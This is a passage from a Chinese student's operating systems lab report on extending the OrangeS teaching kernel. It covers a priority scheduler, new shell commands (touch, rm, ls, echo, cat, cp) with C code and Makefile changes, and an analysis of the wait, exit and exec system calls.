p\_proc\_ready = p; 36. **return**; 37. } 38. } 39. }**else**{ 40. p\_proc\_ready->priority = 3; 41. p\_proc\_ready->ticks = time\_slice \* 3; 42. schedule(); 43. } 44. }**else** **if**(p\_proc\_ready->priority == 3){ 45. **if**(p\_proc\_ready->ticks != 0) 46. { 47. **for**(p = proc\_table; p < proc\_table + NR\_TASKS; p++) 48. { 49. **if** (p->priority == 1) 50. { 51. p\_proc\_ready = p; 52. **return**; 53. } 54. } 55. **for**(p = proc\_table; p < proc\_table + NR\_TASKS; p++) 56. { 57. **if** (p->priority == 2) 58. { 59. p\_proc\_ready = p; 60. **return**; 61. } 62. } 63. }**else**{ 64. p\_proc\_ready->ticks = time\_slice \* 3; 65. schedule(); 66. **if**(p\_proc\_ready->priority == 3) 67. { 68. **while**(1){ 69. process\_num = (process\_num + 1) % NR\_TASKS; 70. p\_proc\_ready = proc\_table + process\_num; 71. **if**(p\_proc\_ready->priority == 3) **break**; 72. } 73. } 74. } 75. } 76. **return**; 78. //if (p\_proc\_ready->ticks > 0) { 79. // return; 80. //} 82. //schedule(); 84. }   还有schedule函数   1. PUBLIC **void** schedule() 2. { 3. PROCESS\* p; 4. **int**  inf = 0xfffffff; 5. **int**  greatest\_priority = 0xfffffff; 7. **while** (greatest\_priority == inf) { 8. **for** (p = proc\_table; p < proc\_table+NR\_TASKS; p++) { 9. **if** (p->priority < greatest\_priority) { 10. greatest\_priority = p->priority; 11. p\_proc\_ready = p; 12. } 13. } 15. // if (!greatest\_ticks) { 16. //  for (p = proc\_table; p < proc\_table+NR\_TASKS; p++) { 17. //      p->ticks = p->priority; 18. //  } 19. // } 20. } 21. }   Make image后执行得到下图    可以看到，显示根据时间片和优先级输出，最后优先级一致后，则进行轮询，故实验成功。 1.3工作局限性 第一种方法，不知道为啥，这里一开始少了一个A。另外，达到5个之后，队列以C、A、B的顺序从5到8到9才到10。   1.4本部分小结 在第十章的基础上，我结合了本学期的多个小实验所涉及到的知识，例如：中断、分页机制、进程调度等，实现了一个相对个性化、功能相对完善的操作系统。这依旧是一个较为简洁的操作系统，还有很多可以补充完善的地方。 任务二：扩展shell要求2.1问题介绍与思路摘要2.1.1问题介绍 本任务是 OS 期末实验的第二个基本任务，主要目标是理清代码结构并扩展shell，提供一些自制的指令方便后续实验。具体要求如下：  • 利用当前OrangeS所提供的系统调用和API，编写2个以上可执行程序（功能自定），并编译生成存储在文件系统中  • 分析教材的Shell代码，画出Shell的流程图，在Shell中调入你所编写的可执行程序，启动并执行进程，注意使用教材中所提供的系统调用来实现  • 进程结束后返回Shell 2.1.2解决方案摘要 在chapter11/a的基础上，我首先实现了一个基本的测试指令test，其可以输出我的学号姓名；然后实现了linux系统中常见的文件操作指令touch（创造文件）和rm（删除文件），以及常用的目录操作指令ls（显示当前目录下的所有文件）。 2.2具体思路及其实现 这部分实验原理实际上是较为简单的。在第十章书上实现了“简单的shell”过后，oranges操作系统已经具备了将command中的.c文件根据makefile的指令进行编译、链接、并装载入操作系统中的能力。之后，在bochs中输入命令名称就可以调用这些指令了。 因此，要扩展shell，编写更多的可执行指令，只需要在command 中编写其代码即可。  下面是教材中shell的流程图：  未命名文件 (1)  接着，我将讨论我实现的指令及其思路。 2.2.1 test指令 test指令是我用来测试的，显而易见，就是输出我的姓名拼音和学号。  test.c   1. **int** main(**int** argc, **char** \* argv[]) 2. { 3. printf("hello, my name is:\n"); 4. printf("Peng Deng. \n"); 5. printf("My student number is:\n"); 6. printf("2021302181152. \n"); 7. **return** 0; 8. }   然后，在Makefile中添加编译信息，仿照着其他指令来：   1. test.o: test.c ../include/type.h ../include/stdio.h 2. $(CC) $(CFLAGS) -o $@ $< 4. test : test.o start.o $(LIB) 5. $(LD) $(LDFLAGS) -o $@ $? 6. BIN     = echo pwd test   现在根目录make image，再进入command文件夹make、make install，最后退出来make image。  摁住shift+F2后输入test，得到如下：    所以test指令添加成功。 2.2.2 torch和rm指令 之后实现linux系统中常见的文件操作指令touch（创造文件）和rm（删除文件）。这部分的主要思路是利用open和unlink两个函数。  touch.c   1. #include "stdio.h" 3. **int** main(**int** args, **char** \* argv[]) 4. { 5. if(~**open**(argv[1], O\_CREAT)) { 6. printf("Successfully created %s.\n", argv[1]); 7. }**else** { 8. printf("Failed to create %s, maybe because this file has been existed.\n",argv[1]); 9. } 10. **return** 0; 11. }   利用了调用open(file\_name, O\_CREAT) 时，若file\_name不存在则会自动创建的特征。使用~判断返回值是否为-1（出错）。如果出错则报错并提示用户，最常见的可能性是在尝试创建已经存在的文件。  rm指令的实现方式类似，采用的是unlink函数，unlink从文件系统中中删除一个名字，若这个名字是指向这个文件的最后一个链接，并且没有进程处于打开这个文件的状态，则删除这个文件，释放这个文件占用的空间。调用成功返回0，不成功返回-1。  rm.c   1. #include "stdio.h" 3. **int** main(**int** args, **char** \* argv[]) 4. { 5. if (~unlink(argv[1])) { 6. printf("rm file failed, please try again later or check your authority.\n"); 7. **return** -1; 8. } 9. printf("Successfully removed file %s\n", argv[1]); 10. **return** 0; 11. }   编写完上述指令后，在Makefile文件中修改相应指令，然后再make、make install、make image将可执行文件装载入软盘即可在bochs中执行，步骤和上述一样。执行结果如下：    现在的验证看起来还较为苍白和没有说服力，之后我们将使用ls指令来验证我们是否真的创建和删除了这些文件。 2.2.3 ls指令 接下来实现的是linux文件系统中另一个常用的指令ls，调用其将打印出文件系统中，当前路径下的所有文件的名称。真正的ls还带有不少其余功能，比如用参数-a显示隐藏文件，-d显示目录名等等，这里我们只实现最简单的、原始的功能，在“讨论和未来工作”一节中，我们会简单讨论更多功能的实现方法。  ls指令的实现思路如下：在fs/misc.c中我们已经有了实现的search\_file，所以我们可以依葫芦画瓢，模拟一个进程间的通信，仿造原有的search\_file指令写一个search\_dir函数，在本目录下扫描文件名并写入一条message中，之后返回这个message即可。  具体来说，我们首先在fs文件夹下的main.c中添加ls的case具体为首先找到 task\_fs，然后添加如下case：   1. case SEARCH: 2. fs\_msg.BUF = do\_search\_dir();   下面的switch(msgtype)也要添加case：   1. case SEARCH:   意思是之后的message type如果是search就调用search\_dir函数，并将返回的结果存储在缓冲区BUF中。添加完这部分调用过后，我们需要在lib文件夹下添加一个发消息的接口。接下来，我们模仿lib文件夹下的代码，写一个发消息的文件 search\_dir.c   1. #include "type.h" 2. #include "stdio.h" 3. #include "const.h" 4. #include "protect.h" 5. #include "string.h" 6. #include "fs.h" 7. #include "proc.h" 8. #include "tty.h" 9. #include "console.h" 10. #include "global.h" 11. #include "keyboard.h" 12. #include "proto.h" 14. **PUBLIC** **char**\* search\_dir(**char**\* path) { 15. MESSAGE msg; 16. msg.type = SEARCH; 17. memcpy(msg.pBUF, path, strlen(path)); 18. // printl("msg.pBug address is %d\n", msg.pBUF); 19. // printl("BUF : %s\n", msg.pBUF); 20. send\_recv(BOTH, TASK\_FS, &msg); 21. **return** msg.pBUF; 22. }   此处是给message.type枚举体增加了一个属性SEARCH，用来之后确认是否是ls指令。  然后在type.h中添加一个Path数组，用来存储未来搜索到的结果。Path数组同样需要在message定义处增加定义。   1. typedef struct { 2. **int** source; 3. **int** type; 4. **char** Path[200]; 5. **union** { 6. struct mess1 m1; 7. struct mess2 m2; 8. struct mess3 m3; 9. } u; 10. } MESSAGE;   最后，就是在fs文件夹下的misc.c中写一个do\_search\_dir()函数，搜索当前路径下的文件，将文件名存储到buf中然后返回。具体来说，我们添加一个函数，基本上就是照着search\_file写，只不过最后一步将地址拷贝到缓冲区中：  已有的search\_file()   1. **PUBLIC** **int** search\_file(**char** \* path) 2. { 3. **int** i, j; 5. **char** filename[MAX\_PATH]; 6. memset(filename, 0, MAX\_FILENAME\_LEN); 7. struct inode \* dir\_inode; 8. if (strip\_path(filename, path, &dir\_inode) != 0) 9. **return** 0; 11. if (filename[0] == 0)   /\* path: "/" \*/ 12. **return** dir\_inode->i\_num; 14. /\*\* 15. \* Search the dir **for** the file. 16. \*/ 17. **int** dir\_blk0\_nr = dir\_inode->i\_start\_sect; 18. **int** nr\_dir\_blks = (dir\_inode->i\_size + SECTOR\_SIZE - 1) / SECTOR\_SIZE; 19. **int** nr\_dir\_entries = 20. dir\_inode->i\_size / DIR\_ENTRY\_SIZE; /\*\* 21. \* including unused slots 22. \* (the file has been deleted 23. \* but the slot **is** still there) 24. \*/ 25. **int** m = 0; 26. struct dir\_entry \* pde; 27. **for** (i = 0; i < nr\_dir\_blks; i++) { 28. RD\_SECT(dir\_inode->i\_dev, dir\_blk0\_nr + i); 29. pde = (struct dir\_entry \*)fsbuf; 30. **for** (j = 0; j < SECTOR\_SIZE / DIR\_ENTRY\_SIZE; j++,pde++) { 31. if (memcmp(filename, pde->**name**, MAX\_FILENAME\_LEN) == 0) 32. **return** pde->inode\_nr; 33. if (++m > nr\_dir\_entries) 34. break; 35. } 36. if (m > nr\_dir\_entries) /\* all entries have been iterated \*/ 37. break; 38. } 40. /\* file not found \*/ 41. **return** 0; 42. }   添加的do\_search\_dir()   1. **PUBLIC** **int** do\_search\_dir() { 2. **char**\* dir = fs\_msg.Path; 3. **int** pointer = 0; 5. **int** i, j; 7. **char** filename[MAX\_PATH]; 8. memset(filename, 0, MAX\_FILENAME\_LEN); 9. struct inode\* dir\_inode; 10. if (strip\_path(filename, dir, &dir\_inode)) { 11. **return** 0; 12. } 14. // if (filename[0] == 0) { 15. // **return** dir\_inode->i\_num; 16. // } 17. /\*\* 18. \* Search the dir **for** the file. 19. \*/ 20. **int** dir\_blk0\_nr = dir\_inode->i\_start\_sect; 21. **int** nr\_dir\_blks = (dir\_inode->i\_size + SECTOR\_SIZE - 1) / SECTOR\_SIZE; 22. **int** nr\_dir\_entries = dir\_inode->i\_size / DIR\_ENTRY\_SIZE; /\*\* 23. \* including unused slots 24. \* (the file has been deleted 25. \* but the slot **is** still there) 26. \*/ 27. struct dir\_entry\* pde; 28. **for** (i = 0; i < nr\_dir\_blks; i++) { 29. RD\_SECT(dir\_inode->i\_dev, dir\_blk0\_nr + i); 30. pde = (struct dir\_entry\*)fsbuf; 32. **for** (j = 0; j < SECTOR\_SIZE / DIR\_ENTRY\_SIZE; j++, pde++) { 33. dir[pointer] = ' '; 34. pointer += 1; 35. memcpy(dir + pointer, pde->**name**, strlen(pde->**name**)); 36. pointer += strlen(pde->**name**); 37. } 38. } 39. **return** (void\*)0; 40. }   然后在proto.h中声明   1. /\* fs/search\_dir.c \*/ 2. PUBLIC **int**      do\_search\_dir(); 3. /\* lib/search\_dir.c \*/ 4. PUBLIC **char**\* search\_dir(**char**\* path);   Makefile中也添加相应的   1. fs/search\_dir.o: fs/search\_dir.c 2. $(CC) $(CFLAGS) -o $@ $< 3. lib/search\_dir.o: lib/search\_dir.c 4. $(CC) $(CFLAGS) -o $@ $< 5. OBJS        = kernel/kernel.o kernel/start.o kernel/main.o\ 6. kernel/clock.o kernel/keyboard.o kernel/tty.o kernel/console.o\ 7. kernel/i8259.o kernel/**global**.o kernel/protect.o kernel/proc.o\ 8. kernel/systask.o kernel/hd.o\ 9. kernel/kliba.o kernel/klib.o\ 10. lib/syslog.o\ 11. mm/main.o mm/forkexit.o mm/**exec**.o\ 12. fs/main.o fs/**open**.o fs/misc.o fs/read\_write.o\ 13. fs/link.o \ 14. fs/disklog.o fs/search\_dir.o 15. LOBJS       =  lib/syscall.o\ 16. lib/printf.o lib/vsprintf.o\ 17. lib/string.o lib/misc.o\ 18. lib/**open**.o lib/**read**.o lib/write.o lib/**close**.o lib/unlink.o\ 19. lib/lseek.o\ 20. lib/getpid.o lib/stat.o\ 21. lib/fork.o lib/exit.o lib/wait.o lib/**exec**.o lib/search\_dir.o   完成过后，就可以在函数里调用 search\_dir() 这个函数来获取地址了。之后我们只需要在 command文件夹下编写这部分代码即可。  ls.c   1. #include "stdio.h" 2. #include "const.h" 3. #include "string.h" 4. #include "fs.h" 6. **int** main (**int** args, **char**\* argv[]) 7. { 8. **char**\* result; 9. result = search\_dir("/"); 10. printf("%s\n", result); 11. **return** 0; 12. }   Makefile也跟之前一样做相应的修改，编译也是。  最后测试是否能成功调用命令。有了 ls 命令，我们还能一并测试刚刚写的 touch、rm 命令是否真的成功创建、删除了文件。我们测试的结果如下：    可以看到，在touch后ls，确实出现了刚刚我们创建的文件。同理，rm也确实能删除文件，这说明我们创建的这三个命令都是正常工作的。 2.2.4 echo指令 原有的echo指令功能有些简陋，只能够实现打印出所有通过命令行传入的参数，比如echo 123，就打印出“123”。我将其功能进行了改写，即通过命令行传入的文本参数写入到指定的文件中，比如echo dp dp.txt，就能够将dp写入dp.txt文件中。  改写的echo思路如下：  先看命令格式是否正确，即echo <text> <filename>。正确就调用open打开或创建文件，然后调用write写入文件，最后关闭文件。思路很简单，代码如下：  echo.c   1. #include "stdio.h" 2. #include "string.h" 4. **int** main(**int** argc, **char** \*argv[]) { 5. if (argc < 3) { 6. printf("Usage: echo <text> <filename>\n"); 7. **return** 1; 8. } 10. // 打开或创建文件以写入数据 11. **int** fd = **open**(argv[argc - 1], O\_RDWR | O\_CREAT); 12. if (fd < 0) { 13. printf("Failed to open or create %s\n", argv[argc - 1]); 14. **return** 1; 15. } 17. **int** i; 18. // 遍历所有参数并写入文件，除了最后一个参数（文件名） 19. **for** (i = 1; i < argc - 1; i++) { 20. write(fd, argv[i], strlen(argv[i])); 21. if (i < argc - 2) { 22. write(fd, " ", 1);  // 在单词之间添加空格 23. } 24. } 25. write(fd, "\n", 1);  // 添加换行符 27. // 关闭文件 28. **close**(fd); 29. **return** 0; 30. }   因为是改写，Makefile中已经存在，所以不必修改。编译执行效果如下：    显然，生成了一个dp.txt文件，但是我们不知道hello,dp是否写入该文件，所以我又添加了一条指令，即cat指令，来帮助我们验证。 2.2.5 cat指令 cat代码基本思路如下：  先看命令格式是否正确，即cat <filename>。正确就打开文件，然后读取并输出，最后关闭文件。代码如下：  cat.c   1. #include "stdio.h" 2. #include "string.h" 4. #define BUFFER\_SIZE 256 6. **int** main(**int** argc, **char** \*argv[]) { 7. if (argc != 2) { 8. printf("Usage: cat <filename>\n"); 9. **return** 1; 10. } 12. // 打开文件 13. **int** fd = **open**(argv[1], O\_RDWR); 14. if (fd < 0) { 15. printf("Failed to open %s\n", argv[1]); 16. **return** 1; 17. } 19. **char** buf[BUFFER\_SIZE]; 20. **int** n; 22. //读取并输出 23. while ((n = **read**(fd, buf, BUFFER\_SIZE)) > 0) { 24. write(1, buf, n);  // 1 是标准输出文件描述符 25. } 27. // 关闭文件 28. **close**(fd); 29. **return** 0; 30. }   Makefile改写和编译过程跟之前一样，最终代码效果如下：    可以看到文件内容，成功。 2.2.6 cp指令 做完cat指令，我仔细思考，发现还可以加一个指令即，cp指令。因为思路是一脉相承的。  我的思路是这样的：  依旧是先看命令行格式是否正确，即cp <source> <destination>，source是源文件，destination是复制到的文件。然后分别打开源文件和目标文件，目标文件若不存在就创建。之后，复制文件内容，程序使用 read 函数从源文件读取数据到缓冲区，并用 write 函数将数据写入目标文件，这个过程持续进行，直到源文件的所有内容都被读取和写入。最后关闭文件。  cp.c   1. #include "stdio.h" 2. #include "string.h" 4. #define BUFFER\_SIZE 256 6. **int** main(**int** argc, **char**\* argv[]) { 7. if (argc != 3) { 8. printf("Usage: cp <source> <destination>\n"); 9. **return** 1; 10. } 12. // 尝试以打开源文件 13. **int** src\_fd = **open**(argv[1], O\_RDWR); 14. if (src\_fd < 0) { 15. printf("Failed to open source file %s\n", argv[1]); 16. **return** 1; 17. } 19. // 尝试打开目标文件，如果不存在则创建 20. **int** dest\_fd = **open**(argv[2], O\_RDWR | O\_CREAT); 21. if (dest\_fd < 0) { 22. printf("Failed to open or create destination file %s\n", argv[2]); 23. **close**(src\_fd); 24. **return** 1; 25. } 27. **char** buf[BUFFER\_SIZE]; 28. **int** n; 30. while ((n = **read**(src\_fd, buf, BUFFER\_SIZE)) > 0) { 31. if (write(dest\_fd, buf, n) != n) { 32. printf("Failed to write to destination file\n"); 33. **close**(src\_fd); 34. **close**(dest\_fd); 35. **return** 1; 36. } 37. } 39. **close**(src\_fd); 40. **close**(dest\_fd); 41. **return** 0; 42. }   Makefile改写和编译过程跟之前一样，最终代码效果如下：    文件复制成功，内容一致，成功。 2.3工作局限性和改进方向2.3.1工作局限性 尽管我们已经实现了linux文件系统中最核心的几个指令，即touch、rm、ls、echo、cat、cp，也通过充分的实验验证了所提议方法的正确性，但我们的工作仍然并非十全十美，主要的局限性有：  • 正如前文所说，我所实现的指令都只实现了其最基本的功能。但是，在真实的linux系统中，命令会有更多的参数以完成其他功能。  • rm指令在删除文件的时候存在一些小问题。具体来说，在上次会话中创建的文件保留了下来，在本次会话中，我想用rm删除的时候却发生了assert报错。但是删除本次会话中创建的文件却不会发送报错，不知道为什么。  • echo功能并不完善比如对于已有的文件dp.txt,echo 123 dp.txt,应当把123继续放到文件中中，而不是输出报错。  尽管如此，我们有理由相信在完成了这些命令的基础上，要补充携带参数的功能或打印帮助信息等并非难事，只需要添加case来判断出参数即可。 2.3.2改进方向 根据上面所说的局限性，这部分工作未来可以有以下几个改进方向：  • 为指令添加上解析携带参数的功能；  • 实现更多常用指令，如mkdir、grep等。 2.4本部分小结 在本部分实验中，我首先实现了一个基本的测试指令test，其可以在终端输出姓名学号；然后实现了linux系统中常见的文件操作指令touch（创造文件）、rm（删除文件）、echo（写入文件）、cat（查看文件）、cp（复制文件），以及常用的目录操作指令ls（显示当前目录下的所有文件）。我们开展了充分的实验验证我们所提议方法的正确性。最后，我们讨论了目前工作的局限性，并提出未来改进的方向 任务三：改造shell3.1问题介绍与思路摘要3.1.1问题介绍 本任务是OS期末实验的第三个基本任务，主要目标是改造任务二的shell，使其能够在同一个shell中支持多任务执行。几点需要注意的地方如下：  • 注意现有内存管理可能不支持多程序支持  • 可执行程序的装入和内存定位问题需要仔细考虑 3.1.2思路摘要： 在本次实验中，我们利用"&"符号分割输入的多条命令，拓展 kernel/main.c中的shabby\_shell函数使其能够同时执行多条命令。核心思路如下：  • 创建二维字符串数组   1. **char**\* multi\_argv[MAX\_SHELL\_PROC][MAX\_SHELL\_PROC\_STACK]   • 在argv中保存输入的所有字符串后，对argv进行扫描，把用&分割得到的命令分别保存在multi\_argv中。  • 父进程借助for循环fork出所有的子进程，子进程被fork出来后主动将自己阻塞，等待父进程解除阻塞后，调用execv执行。  同时我们需要注意，父进程利用for循环进行fork时，得到的子进程同样在该循环中，以及如果子进程抢占了父进程，则父进程可能无法完成fork出所有子进程的过程，导致无法同时运行多条指令。上述问题我们实验具体思路及实现中详细介绍并解决。 3.2具体思路及其实现 在本次实验中，我们需要对shell进行改造使之可以同时解析和执行多条命令。这一部分的实现原理较为简单，书本给出的原始代码已经在第十章实现了fork、exit、wait、exec等系统调用函数，并实现了一个简单的shell，也已经具备了将 command文件夹中的指令文件编译链接并装载入操作系统的能力。所以我们要扩展shell，只需要修改shell的函数即可。  任务三基于任务二的代码，shell的代码在kernel/main.c中，由Init()进程fork出来。要完成这部分的改造，我们首先需要了解原始shabby\_shell函数、wait函数和execv函数。 3.2.1 shabby\_shell函数 shell目前的功能很简单，只实现了读取命令并执行之（如果命令存在的话）。代码如下：   1. void shabby\_shell(const **char** \* tty\_name) 2. { 3. **int** fd\_stdin  = **open**(tty\_name, O\_RDWR); 4. assert(fd\_stdin  == 0); 5. **int** fd\_stdout = **open**(tty\_name, O\_RDWR); 6. assert(fd\_stdout == 1); 8. **char** rdbuf[128]; 10. while (1) { 11. write(1, "$ ", 2); 12. **int** r = **read**(0, rdbuf, 70); 13. rdbuf[r] = 0; 15. **int** argc = 0; 16. **char** \* argv[PROC\_ORIGIN\_STACK]; 17. **char** \* p = rdbuf; 18. **char** \* s; 19. **int** word = 0; 20. **char** ch; 21. do { 22. ch = \*p; 23. if (\*p != ' ' && \*p != 0 && !word) { 24. s = p; 25. word = 1; 26. } 27. if ((\*p == ' ' || \*p == 0) && word) { 28. word = 0; 29. argv[argc++] = s; 30. \*p = 0; 31. } 32. p++; 33. } while(ch); 34. argv[argc] = 0; 36. **int** fd = **open**(argv[0], O\_RDWR); 37. if (fd == -1) { 38. if (rdbuf[0]) { 39. write(1, "{", 1); 40. write(1, rdbuf, r); 41. write(1, "}\n", 2); 42. } 43. } 44. **else** { 45. **close**(fd); 46. **int** pid = fork(); 47. if (pid != 0) { /\* parent \*/ 48. **int** s; 49. wait(&s); 50. } 51. **else** {  /\* child \*/ 52. execv(argv[0], argv); 53. } 54. } 55. } 57. **close**(1); 58. **close**(0); 59. }   可以分析出，shabby\_shell用write()打印一个简单的提示符 $ 到标准输出，之后用read()读取用户输入，然后用open尝试打开与输入命令同名的文件。如果文件存在，即fd!=-1，就认为这是一个可执行文件，然后关闭文件描述符fd，通过fork()创建一个新的进程，在父进程中，使用wait(&s)等待子进程完成；在子进程中，使用execv()执行用户输入的命令。如果文件不存在，就将输入的命令直接输出给用户。跟任务二中的流程图是一样的，这里再放一张：  未命名文件 (1) 3.2.2 wait函数 & exit函数 在shabby\_shell中有一个wait函数，而wait与exit是一对函数。exit()执行后杀死进程，wait()执行后挂起程序，与fork()相同，这两个函数工作时将会返回EXIT和WAIT消息给MM。在MM中，收到的消息分别由do\_exit()和do\_wait()来处理。  下面是wait.c中的wait()、exit.c中的exit()、与forkexit.c中的do\_wait()和do\_exit()的代码，之后我会将其结合起来理解。  wait()   1. **PUBLIC** **int** wait(**int** \* status) 2. { 3. MESSAGE msg; 4. msg.type   = WAIT; 6. send\_recv(BOTH, TASK\_MM, &msg); 8. \*status = msg.STATUS; 10. **return** (msg.PID == NO\_TASK ? -1 : msg.PID); 11. }   exit()   1. **PUBLIC** void exit(**int** status) 2. { 3. MESSAGE msg; 4. msg.type    = EXIT; 5. msg.STATUS  = status; 7. send\_recv(BOTH, TASK\_MM, &msg); 8. assert(msg.type == SYSCALL\_RET); 9. }   do\_wait()   1. **PUBLIC** void do\_wait() 2. { 3. **int** pid = mm\_msg.source; 5. **int** i; 6. **int** children = 0; 7. struct proc\* p\_proc = proc\_table; 8. **for** (i = 0; i < NR\_TASKS + NR\_PROCS; i++,p\_proc++) { 9. if (p\_proc->p\_parent == pid) { 10. children++; 11. if (p\_proc->p\_flags & HANGING) { 12. cleanup(p\_proc); 13. **return**; 14. } 15. } 16. } 18. if (children) { 19. /\* has children, but **no** child **is** HANGING \*/ 20. proc\_table[pid].p\_flags |= WAITING; 21. } 22. **else** { 23. /\* **no** child **at** all \*/ 24. MESSAGE msg; 25. msg.type = SYSCALL\_RET; 26. msg.PID = NO\_TASK; 27. send\_recv(SEND, pid, &msg); 28. } 29. }   do\_exit()   1. **PUBLIC** void do\_exit(**int** status) 2. { 3. **int** i; 4. **int** pid = mm\_msg.source; /\* PID **of** caller \*/ 5. **int** parent\_pid = proc\_table[pid].p\_parent; 6. struct proc \* p = &proc\_table[pid]; 8. /\* tell FS, see fs\_exit() \*/ 9. MESSAGE msg2fs; 10. msg2fs.type = EXIT; 11. msg2fs.PID = pid; 12. send\_recv(BOTH, TASK\_FS, &msg2fs); 14. free\_mem(pid); 16. p->exit\_status = status; 18. if (proc\_table[parent\_pid].p\_flags & WAITING) { /\* parent **is** waiting \*/ 19. proc\_table[parent\_pid].p\_flags &= ~WAITING; 20. cleanup(&proc\_table[pid]); 21. } 22. **else** { /\* parent **is** not waiting \*/ 23. proc\_table[pid].p\_flags |= HANGING; 24. } 26. /\* if the proc has any child, make INIT the new parent \*/ 27. **for** (i = 0; i < NR\_TASKS + NR\_PROCS; i++) { 28. if (proc\_table[i].p\_parent == pid) { /\* **is** a child \*/ 29. proc\_table[i].p\_parent = INIT; 30. if ((proc\_table[INIT].p\_flags & WAITING) && 31. (proc\_table[i].p\_flags & HANGING)) { 32. proc\_table[INIT].p\_flags &= ~WAITING; 33. cleanup(&proc\_table[i]); 34. } 35. } 36. } 37. }   • exit()  这是用户空间的函数，由进程调用以结束自己。它发送一个包含退出状态的消息给内存管理任务（TASK\_MM），告知系统进程希望退出。  • do\_exit()  当内存管理任务接收到退出请求时，do\_exit 函数被调用。它的主要工作包括：  • 通知文件系统（为了可能的资源释放，如关闭打开的文件）  • 释放该进程占用的内存  • 设置进程的退出状态  • 如果父进程正在等待（即处于 WAITING 状态），则清理退出进程的资源并发送信号给父进程；如果父进程不在等待，则设置该进程为 HANGING（即成为僵尸进程）。  • 遍历进程表，将所有该进程的子进程的父进程设置为 INIT 进程，这样如果子进程退出，它们将被 INIT 进程清理。  • wait()  这个函数也在用户空间调用，通常由父进程调用以等待其子进程的退出。它向内存管理任务发送等待消息，并阻塞直到有子进程退出。  • do\_wait()  当内存管理任务收到等待请求时，do\_wait 函数被调用。它检查是否有任何子进程已经退出（即处于 HANGING 状态）：  • 如果有，则清理这些子进程，并将它们的退出状态发送给父进程。  • 如果没有，且该进程确实有子进程，则设置该进程为 WAITING 状态，等待其子进程退出。  • 如果没有子进程，返回错误。  具体的，举个例子。  假设进程P有子进程A。而A调用exit()，那么内存管理模块 (MM) 将会：  1.告诉文件系统 (FS)：A退出，请做相应处理。  2.释放A占用的内存。  3.判断P是否正在等待(WAITING)：  （1）如果是：  • 清除P的WAITING位；  • 向P发送消息以解除阻塞（到此P的wait()函数结束）；  • 释放A的进程表项（到此A的exit()函数结束）。  （2）如果否：  • 设置A的HANGING位。  4.遍历proc\_table[]，寻找A的子进程（如果有的话）：  （1）将Init进程设置为A的子进程的父进程（换言之，将A的子进程过继给Init）。  （2）判断是否满足Init正在WAITING且A的子进程正在HANGING：  • 如果是：  i.清除Init的WAITING位；  ii.向Init发送消息以解除阻塞（到此Init的wait()函数结束）；  iii.释放A的子进程的进程表项（到此A的子进程的exit()函数结束）。  • 如果否：  i.如果Init正在WAITING但A的子进程没有HANGING，那么“握手”会在将来A的子进程调用exit()时发生；  ii.如果A的子进程正在HANGING但Init没有WAITING，那么“握手”会在将来Init调用wait()时发生。  如果P调用wait()，那么MM将会：  1.遍历proc\_table[]，寻找P的子进程A：  （1）如果A正在HANGING，那么：  • 向P发送消息以解除阻塞（到此P的wait()函数结束）；  • 释放A的进程表项（到此A的exit()函数结束）。  （2）如果A不在HANGING，那么：  • 设P的WAITING位。  2.如果P没有子进程：  向P发送消息，消息携带一个表示出错的返回值（到此P的wait()函数结束）。 3.2.3 execv函数 在shabby\_shell中还有一个execv函数，而execv()所做的其实只是一件事，即向MM提供最终供调用exec的进程使用的堆栈。  下面是exec.c中的execv()和mm/do\_exec()的代码。  execv()   1. **PUBLIC** **int** execv(const **char** \*path, **char** \* argv[]) 2. { 3. **char** \*\*p = argv; 4. **char** arg\_stack[PROC\_ORIGIN\_STACK]; 5. **int** stack\_len = 0; 7. while(\*p++) { 8. assert(stack\_len + 2 \* sizeof(**char**\*) < PROC\_ORIGIN\_STACK); 9. stack\_len += sizeof(**char**\*); 10. } 12. \*((**int**\*)(&arg\_stack[stack\_len])) = 0; 13. stack\_len += sizeof(**char**\*); 15. **char** \*\* q = (**char**\*\*)arg\_stack; 16. **for** (p = argv; \*p != 0; p++) { 17. \*q++ = &arg\_stack[stack\_len]; 19. assert(stack\_len + strlen(\*p) + 1 < PROC\_ORIGIN\_STACK); 20. strcpy(&arg\_stack[stack\_len], \*p); 21. stack\_len += strlen(\*p); 22. arg\_stack[stack\_len] = 0; 23. stack\_len++; 24. } 26. MESSAGE msg; 27. msg.type    = **EXEC**; 28. msg.PATHNAME    = (void\*)path; 29. msg.NAME\_LEN    = strlen(path); 30. msg.BUF     = (void\*)arg\_stack; 31. msg.BUF\_LEN = stack\_len; 33. send\_recv(BOTH, TASK\_MM, &msg); 34. assert(msg.type == SYSCALL\_RET); 36. **return** msg.RETVAL; 37. }   do\_exec()   1. **PUBLIC** **int** do\_exec() 2. { 3. /\* get parameters **from** the message \*/ 4. **int** name\_len = mm\_msg.NAME\_LEN; /\* length **of** filename \*/ 5. **int** src = mm\_msg.source;    /\* caller proc nr. \*/ 6. assert(name\_len < MAX\_PATH); 8. **char** pathname[MAX\_PATH]; 9. phys\_copy((void\*)va2la(TASK\_MM, pathname), 10. (void\*)va2la(src, mm\_msg.PATHNAME), 11. name\_len); 12. pathname[name\_len] = 0; /\* terminate the string \*/ 14. /\* get the file **size** \*/ 15. struct stat s; 16. **int** ret = stat(pathname, &s); 17. if (ret != 0) { 18. printl("{MM} MM::do\_exec()::stat() returns error. %s", pathname); 19. **return** -1; 20. } 22. /\* **read** the file \*/ 23. **int** fd = **open**(pathname, O\_RDWR); 24. if (fd == -1) 25. **return** -1; 26. assert(s.st\_size < MMBUF\_SIZE); 27. **read**(fd, mmbuf, s.st\_size); 28. **close**(fd); 30. /\* overwrite the **current** proc image **with** the new one \*/ 31. Elf32\_Ehdr\* elf\_hdr = (Elf32\_Ehdr\*)(mmbuf); 32. **int** i; 33. **for** (i = 0; i < elf\_hdr->e\_phnum; i++) { 34. Elf32\_Phdr\* prog\_hdr = (Elf32\_Phdr\*)(mmbuf + elf\_hdr->e\_phoff + 35. (i \* elf\_hdr->e\_phentsize)); 36. if (prog\_hdr->p\_type == PT\_LOAD) { 37. assert(prog\_hdr->p\_vaddr + prog\_hdr->p\_memsz < 38. PROC\_IMAGE\_SIZE\_DEFAULT); 39. phys\_copy((void\*)va2la(src, (void\*)prog\_hdr->p\_vaddr), 40. (void\*)va2la(TASK\_MM, 41. mmbuf + prog\_hdr->p\_offset), 42. prog\_hdr->p\_filesz); 43. } 44. } 46. /\* setup the arg stack \*/ 47. **int** orig\_stack\_len = mm\_msg.BUF\_LEN; 48. **char** stackcopy[PROC\_ORIGIN\_STACK]; 49. phys\_copy((void\*)va2la(TASK\_MM, stackcopy), 50. (void\*)va2la(src, mm\_msg.BUF), 51. orig\_stack\_len); 53. u8 \* orig\_stack = 